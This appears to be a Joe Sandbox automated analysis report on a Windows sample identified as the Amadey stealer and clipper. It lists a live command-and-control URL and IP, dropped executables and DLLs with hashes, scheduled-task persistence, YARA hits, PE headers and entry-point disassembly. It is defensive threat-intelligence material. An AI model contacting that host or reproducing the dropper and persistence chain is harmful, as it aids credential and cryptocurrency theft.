http://62.204.41.4/Gol478Ns/index.phpft	mnolyk.exe, 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.4	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	800983
Start date and time:	2023-02-07 23:05:24 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/14@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 65.2% (good quality ratio 62.4%) Quality average: 84.9% Quality standard deviation: 24.4%
HCA Information:	Successful, ratio: 92% Number of executed functions: 99 Number of non-executed functions: 122
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:06:59	Task Scheduler	Run new task: mnolyk.exe path: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
23:06:59	API Interceptor	2553x Sleep call for process: mnolyk.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
62.204.41.4	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	UUZl6EPjNN.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TNNET-ASTNNetOyMainnetworkFI	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.134
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.134
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.134
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	UUZl6EPjNN.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aPsf.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.355221377978991
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2LDY3U21v:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21v
MD5:	03C5BA5FCE7124B503EA65EF522177C3
SHA1:	F76B1F538D5EA66664355901E927B2F870ACCDD8
SHA-256:	8128CE419BBE0419F1A0BDE97C3A14E3377C0184DC1D7AF61AA01AAB756B625B
SHA-512:	151A974DDABA852144EC4BC18C548227A32E5261736F186A3920F2497434AEE9DBB0E0AB77E0E52A84A9FBC4529A158882B7549763400DDC2082D384B1135141
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: UUZl6EPjNN.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	7.642032843699542
Encrypted:	false
SSDEEP:	6144:KMy+bnr+Vp0yN90QECj84+S0b8uLwNIBmJqVZJzxWN7HEm7uN9j:MMrNy90wj84L0b8uk3JAZd4N7HEmirj
MD5:	F0D05D7896B3839E5CFBCC78E4FD87FF
SHA1:	F1B614BD9DC2DF396540AF1D75A8F41BFE79DBA6
SHA-256:	02108271649642C959DABE306ECD825A07B9978222B46E31C12E68C80154A640
SHA-512:	37F08DA2D33FCC3F70DBC21CCAA293C5E581E7E513BD9F54288BCB1D635DED8AFEB1D0A5943DE1E804008A5D52DA71193CA40AEC8712C2B51AE1A5C34B256660
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@.................................d.....@...... ......................................................................T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc...............B..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	251904
Entropy (8bit):	7.321306380812188
Encrypted:	false
SSDEEP:	3072:adiOoncra5PLzEOWFv5rIEWCSvqKejU8DP6CIqzcQyPCzDXCU2+0:adiw2PLoO8+EW31UU8DP8wyPCzDXCF+
MD5:	5DD55AE0E5CCD8EF2E82679ED0FC11C9
SHA1:	DD85E81353FE4D09EBD4027121966540186804CE
SHA-256:	ACE074FAEA020BD3F3AAAB059C4F19F4217DA45BBD1A7DEB06303CCB0B919B91
SHA-512:	CD09D2392382A6235D050E0B4B88FE307053E5B319022B8EEA7C604BD023CD9B73CFEA54A8B7DAE2150C6A28ED447EC299F3149CD872CBB11E1761E64BF5F778
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........K...%...%...%.B.....%.....%.....%...^...%...$.y.%.....%.....%.....%.Rich..%.........PE..L....].a............................?q............@.........................................................................<...P....p..............................0................................8..@............................................text............................... ..`.data...............................@....rsrc........p... ..................@..@.reloc...'.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	11264
Entropy (8bit):	4.97029807367379
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	7E93BACBBC33E6652E147E7FE07572A0
SHA1:	421A7167DA01C8DA4DC4D5234CA3DD84E319E762
SHA-256:	850CD190AAEEBCF1505674D97F51756F325E650320EAF76785D954223A9BEE38
SHA-512:	250169D7B6FCEBFF400BE89EDAE8340F14130CED70C340BA9DA9F225F62B52B35F6645BFB510962EFB866F988688CB42392561D3E6B72194BC89D310EA43AA91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.621829903792328
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPROZ/eIwcWWGu:q43tIkObRHXiMIWObtklI5LPROeIpfGu
MD5:	1B7C22A214949975556626D7217E9A39
SHA1:	D01C97E2944166ED23E47E4A62FF471AB8FA031F
SHA-256:	340C8464C2007CE3F80682E15DFAFA4180B641D53C14201B929906B7B0284D87
SHA-512:	BA64847CF1D4157D50ABE4F4A1E5C1996FE387C5808E2F758C7FB3213BFEFE1F3712D343F0C30A16819749840954654A70611D2250FD0F7B032429DB7AFD2CC5
Malicious:	false
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>..

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.240223928941852
Encrypted:	false
SSDEEP:	3:o3F:o1
MD5:	509B054634B6DE74F111C3E646BC80FD
SHA1:	99B4C0F39144A92FE42E22473A2A2552FB16BD13
SHA-256:	07C7C151ADD6D955F3C876359C0E2A3A3FB0C519DD1E574413F0B68B345D8C36
SHA-512:	A9C2D23947DBE09D5ECFBF6B3109F3CF8409E43176AE10C18083446EDE006E60E41C3EA2D2765036A967FC81B085D5F271686606AED4154AE45287D412CF6D40
Malicious:	false
Preview:	processed dir:

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.809928843076803
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	538112
MD5:	f4b906685385629998faa352a94a2e1f
SHA1:	97ebb6ba0f496f6cabdec20d5c8af07495a00e15
SHA256:	49d5e821c721205ae44d6ef76450b6a1307e06308900065d18ebad11c6abe74f
SHA512:	0a0ec9df88fe00c954fed05f4033df0b4c08fbe129045ff174a1c788fe7b0e421ade1bfb0b5881e34ad119bf1c7030341375ebe8c6d78e29a59789fcc0d6ab44
SSDEEP:	12288:pMryy90yNjwAz3QZDk3JlZdK77HEmCrh8B7l369GVzcr:fyhNjzLaDk3JlZKEfrh8Bp36A0
TLSH:	FEB4020BB7E88032E8B1677014F902D306377EA1AB7C43D7624AAC5E1C726A4E775767
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F4FE0FDF935h
jmp 00007F4FE0FDF245h
push 00000058h
push 004072B8h
call 00007F4FE0FDF9D7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F4FE0FDF25Ah
cmp eax, esi
jne 00007F4FE0FDF249h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F4FE0FDF252h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F4FE0FDF219h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F4FE0FDF24Ch
push 0000001Fh
call 00007F4FE0FDF76Bh
pop ecx
jmp 00007F4FE0FDF27Ch
cmp dword ptr [004088B0h], ebx
jne 00007F4FE0FDF26Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F4FE0FDF396h
pop ecx
pop ecx
test eax, eax
je 00007F4FE0FDF259h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F4FE0FDF379h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F4FE0FDF25Dh
push 004010B4h
push 004010ACh
call 00007F4FE0FDF925h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x7afe0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x87000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x7b000	0x7b000	False	0.9250964653201219	data	7.854359084235584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x87000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
